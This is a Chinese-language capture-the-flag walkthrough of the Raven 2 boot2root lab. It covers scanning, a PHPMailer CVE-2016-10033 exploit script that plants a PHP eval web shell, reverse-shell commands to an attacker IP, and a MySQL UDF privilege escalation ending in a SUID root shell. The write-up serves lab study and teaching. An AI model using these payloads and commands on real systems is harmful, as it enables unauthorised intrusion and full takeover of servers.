[B2R]Raven: 2

靶场地址

靶场信息

靶场描述

Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?

靶机界面

信息收集

MAC 地址:00:0C:29:E0:25:1A

主机发现

nmap -sP 192.168.37.0/24 IP地址：192.168.37.174

端口扫描

nmap -A -p- 192.168.37.174

22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
47126/tcp open  status  1 (RPC #100024)

网站信息

访问 80端口

http://192.168.37.174/

网页信息收集

dirb

==> DIRECTORY: http://192.168.37.174/css/
==> DIRECTORY: http://192.168.37.174/fonts/
==> DIRECTORY: http://192.168.37.174/img/
==> DIRECTORY: http://192.168.37.174/js/
==> DIRECTORY: http://192.168.37.174/manual/
==> DIRECTORY: http://192.168.37.174/vendor/
==> DIRECTORY: http://192.168.37.174/wordpress/

/vendor/ 目录
flag1：http://192.168.37.174/vendor/PATH
漏洞信息

PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com).PHPMailer 5.2.18之前的版本（2016年12月发布）易受[CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail？vulnId=CVE-2016-10033）远程代码执行漏洞，由[Dawid Golunski]负责报告(https://legalhackers.com).

phpMailer 版本：http://192.168.37.174/vendor/VERSION

渗透攻击

搜索exp

searchsploit phpmailer

修改Exp

安装对应的包 pip install requests-toolbelt

"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033Description:
Exploiting PHPMail with back connection (reverse shell) from the targetUsage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.pyVideo PoC: https://www.youtube.com/watch?v=DXeZxKr-qsUFull Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhos.system('clear')
print("\n")
print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")target = 'http://192.168.37.174/contact.php'
backdoor = '/shell2.php'#payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'10.9.11.223\\\',666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'                                  //反弹shell
#payload = '<?php phpinfo() ?>'                   //phpinfo()
payload = '<?php @eval($_POST[buzhidao]); ?>'    //Web_shellfields={'action': 'submit','name': payload,'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell2.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'curl/7.47.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+]  ExPLoITeD ' + target)

蚁剑连接

http://192.168.37.174/shell2.php

密码:buzhidao

发现，flag2{6a8ed560f0b5358ecf844108048eb337}

进一步信息收集

WordPress 数据库账号密码

define('DB_NAME', 'wordpress');/** MySQL database username */
define('DB_USER', 'root');/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

反弹Shell

本地执行

ncat -lnvp 2333

服务端执行

nc -e /bin/bash 10.9.11.223 6666

反弹成功，进入伪终端

python -c 'import pty;pty.spawn("/bin/bash")'

查看一下mysql的运行权限（可以看到mysql是以root运行，并且也显示了mysql的plugin目录）
nc模式下的shell不支持su交互，先利用python提升到伪终端

python -c "import pty;pty.spawn('/bin/bash')"

利用Linux枚举漏洞工具LinEnum

下载地址：https://github.com/rebootuser/LinEnum

更改权限，./LinEnum运行

我们发现了MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞！（更多信息:https](https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html）

root        920  0.1 10.7 683704 52644 ?        Sl   Dec09   0:21 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

登录mysql 数据库

mysql -uroot -p
R@v3nSecurity

权限提升

考虑MySQL UDF 提权。

搜索漏洞exp

searchsploit mysql udf                //-p  查看exp路径/usr/share/exploitdb/exploits/linux/local/1518.c

本地编译并上传

kali 下编译。

上传/tmp/1518.so

gcc -g -c 1518.c
gcc -g -shared -o  1518.so 1518.o -lc

MySQL UDF 提权

SHOW DATABASES;
use wordpress
create table foo(line blob);           //创建数据表 foo,字段blob,linestring类型
insert into foo values(load_file('/tmp/1518.so'));      //插入数据到blob字段下```
Foo表成功插入二进制数据，然后利用dumpfile函数把文件导出
outfile 多行导出，dumpfile一行导出
outfile会有特殊的转换，而dumpfile是原数据导出
```select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';  //mysql的，udf.so插件目录
create function do_system returns integer soname 'udf.so';   //新建存储do_system函数,引用udf.so文件
select do_system('chmod u+s /usr/bin/find');
//调用do_system函数来给find命令所有者的suid权限，使其可以执行root命令

提权

find / -perm -4000 2>/dev/null
find / -exec '/bin/sh' \;

提权成功

查找flag

find / -name "*flag*"```
/var/www/flag2.txt
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/root/flag4.txt
```

flag4:flag4{df2bc5e951d91581467bb9a2a8ff4425}

[B2R]Raven: 2靶机相关推荐

Raven 2 靶机渗透
0X00 前言 Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM.有四个标志要捕获.在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器 ...
那些年我在CSDN追过的安全白帽师傅，respect
2019年7月,我来到了一个陌生的专业--网络空间安全专业.作为一个长期以Python数据挖掘和NLP方向为主的学生,突然换大方向,去从事系统安全和逆向分析的研究,还是挺难的,这两年的过程也极其艰辛. ...
vulnhub raven2复现
1.扫描全网段,找出了存活主机ip为192.168.85.144 nmap 192.168.85.0/24 2.nmap扫描端口 nmap -p1-65535 192.168.85.144 3.访问此 ...
Vulnhub靶机渗透之 RAVEN: 1
目录 Description 网卡信息信息收集主机发现主机存活扫描端口扫描网站信息网站首页 nikto 报告 service 页面 wordpress 渗透过程 SSH 爆破 Hydr 命 ...
kali渗透综合靶机(十)--Raven靶机
一.靶机下载下载链接:https://download.vulnhub.com/raven/Raven.ova 二.Raven靶机搭建将下载好的靶机环境,用VMware导入即可使用,文件-> ...
Raven2靶机练习
文章目录第2天 Raven2 1 信息搜集 1.1 获得ip地址 1.2 nmap进行扫描 1.3 御剑扫描第1个网址信息添加hosts文件项 1.4 扫描目录 1.4.1 http://rav ...
靶机渗透测试（covfefe）
靶机渗透测试(covfefe) Vulnhub靶机 covfefe 靶机:修改靶机的网络配置为桥接模式. 攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机. 靶机难度:(Intermediate ...
[B2R]Bob1.0.1
[B2R]Bob:1.0.1 https://www.vulnhub.com/entry/bob-101,226/ 0x01 靶场信息靶机界面直接从ova文件导入到VM虚拟机中,启动即可.网卡 ...
Vulnhub系列：Raven 1
该篇为Vulnhub系列靶机渗透,本次靶机存在4个flag.下面开始我们今天的渗透之旅.Raven靶机有很多种思路,我将对其进行一一整理. 首先进行信息收集,利用arp-scan和nmap,进行靶机的 ...

[B2R]Raven: 2靶机